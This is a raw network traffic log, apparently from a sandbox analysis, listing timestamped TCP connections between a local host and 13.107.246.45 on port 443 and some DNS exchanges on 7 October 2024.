Oct 7, 2024 18:43:59.282725096 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.282807112 CEST	64606	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.282977104 CEST	64606	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.282989979 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.329771042 CEST	53	64603	162.159.36.2	192.168.2.7
Oct 7, 2024 18:43:59.333060980 CEST	64603	53	192.168.2.7	162.159.36.2
Oct 7, 2024 18:43:59.338376999 CEST	53	64603	162.159.36.2	192.168.2.7
Oct 7, 2024 18:43:59.338430882 CEST	64603	53	192.168.2.7	162.159.36.2
Oct 7, 2024 18:43:59.352504015 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.353696108 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.353710890 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.354103088 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.354109049 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.357441902 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.361164093 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.361196041 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.361493111 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.361500025 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.488334894 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.488626957 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.488686085 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.488775969 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.488796949 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.488809109 CEST	49946	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.488815069 CEST	443	49946	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.488812923 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.489248037 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.489310026 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.489398956 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.489422083 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.489437103 CEST	49947	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.489444971 CEST	443	49947	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.491749048 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.491792917 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.492027998 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.492208004 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.492216110 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.492357969 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.492494106 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.492507935 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.492592096 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.492600918 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.892256021 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.893183947 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.893244028 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.893778086 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.893791914 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.978183985 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.980891943 CEST	64606	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.980921984 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.981295109 CEST	64606	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.981300116 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.983968973 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.984321117 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.984337091 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.984783888 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.984787941 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.986846924 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.986920118 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.986980915 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.987154961 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.987196922 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.987226009 CEST	64604	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.987242937 CEST	443	64604	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.995210886 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.995269060 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:59.995341063 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.995565891 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:59.995594025 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.078862906 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.078931093 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.079514980 CEST	64606	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.079699039 CEST	64606	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.079720974 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.079732895 CEST	64606	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.079737902 CEST	443	64606	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.082494974 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.082535982 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.082659006 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.082973957 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.082987070 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.104979038 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.106466055 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.106522083 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.106533051 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.106574059 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.106692076 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.106703997 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.106714964 CEST	64605	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.106719017 CEST	443	64605	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.109734058 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.109776020 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.109886885 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.110071898 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.110088110 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.178365946 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.179934025 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.204950094 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.204973936 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.205127001 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.205135107 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.205423117 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.205427885 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.205626011 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.205630064 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.399714947 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.399753094 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.399852037 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.400038004 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.400180101 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.400201082 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.400213003 CEST	64610	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.400218010 CEST	443	64610	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.400552034 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.401391029 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.401478052 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.401483059 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.401494026 CEST	64609	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.401496887 CEST	443	64609	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.402935982 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.402976990 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.403049946 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.403093100 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.403129101 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.403182030 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.403193951 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.403203011 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.403342962 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.403357029 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.721878052 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.722584009 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.722609043 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.723073959 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.723078966 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.803622007 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.804302931 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.804326057 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.804687977 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.804693937 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.807502985 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.807770967 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.807852030 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.808048010 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.808063030 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.818499088 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.819037914 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.819149017 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.819272041 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.819310904 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.819336891 CEST	64611	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.819351912 CEST	443	64611	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.821757078 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.821804047 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.821871996 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.821964979 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.821976900 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.898695946 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.898915052 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.898997068 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.899033070 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.899051905 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.899097919 CEST	64612	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.899105072 CEST	443	64612	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.901537895 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.901633024 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.901721001 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.901853085 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.901887894 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.903568983 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.903738022 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.903803110 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.903892040 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.903892994 CEST	64613	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.903937101 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.903965950 CEST	443	64613	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.905677080 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.905775070 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:00.905869961 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.905980110 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:00.906012058 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.014044046 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.014594078 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.014611006 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.015026093 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.015029907 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.063941002 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.064961910 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.064980984 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.065474987 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.065480947 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.109147072 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.109605074 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.109720945 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.109735012 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.109891891 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.109891891 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.109891891 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.112426043 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.112466097 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.112556934 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.112699032 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.112714052 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.164230108 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.164403915 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.164465904 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.164546013 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.164546013 CEST	64614	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.164592028 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.164619923 CEST	443	64614	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.167049885 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.167085886 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.167159081 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.167310953 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.167324066 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.413135052 CEST	64615	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.413165092 CEST	443	64615	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.429088116 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.429950953 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.429989100 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.431039095 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.431051016 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.518804073 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.519151926 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.519314051 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.519381046 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.519571066 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.519630909 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.519998074 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.520013094 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.520337105 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.520351887 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.525680065 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.526141882 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.526218891 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.526218891 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.526276112 CEST	64617	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.526309013 CEST	443	64617	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.528774023 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.528805971 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.528883934 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.528980017 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.528986931 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633415937 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633439064 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633438110 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633497953 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633510113 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633508921 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.633574009 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.633704901 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.633805037 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.633805037 CEST	64619	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.633821011 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.633821011 CEST	64618	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.633852005 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633862972 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633882999 CEST	443	64619	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.633893967 CEST	443	64618	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.636513948 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.636540890 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.636594057 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.636591911 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.636682034 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.636754036 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.636795044 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.636806011 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.636876106 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.636913061 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.739289999 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.739752054 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.739765882 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.741621017 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.741626978 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.819809914 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.820358992 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.820386887 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.821738958 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.821749926 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.835629940 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.835968971 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.836039066 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.836124897 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.836124897 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.836153984 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.836153984 CEST	64620	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.836172104 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.836180925 CEST	443	64620	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.838510036 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.838542938 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.838753939 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.838753939 CEST	64625	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.838782072 CEST	443	64625	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.918618917 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.919142962 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.919246912 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.922080040 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.922091007 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.922105074 CEST	64621	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.922110081 CEST	443	64621	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.924715042 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.924743891 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:01.924850941 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.924956083 CEST	64626	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:01.924967051 CEST	443	64626	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.159773111 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.161945105 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.161962986 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.163764954 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.163772106 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.244966030 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.245870113 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.245898962 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.247133017 CEST	64623	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.247139931 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.256477118 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.256668091 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.256778002 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.263808966 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.263838053 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.263849974 CEST	64622	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.263855934 CEST	443	64622	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.268266916 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.268338919 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.268448114 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.268578053 CEST	64627	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.268588066 CEST	443	64627	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.295331955 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.296201944 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.296241999 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.296583891 CEST	64624	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:02.296591997 CEST	443	64624	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.341109991 CEST	443	64623	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:02.341217995 CEST	443	64623	13.107.246.45	192.168.2.7
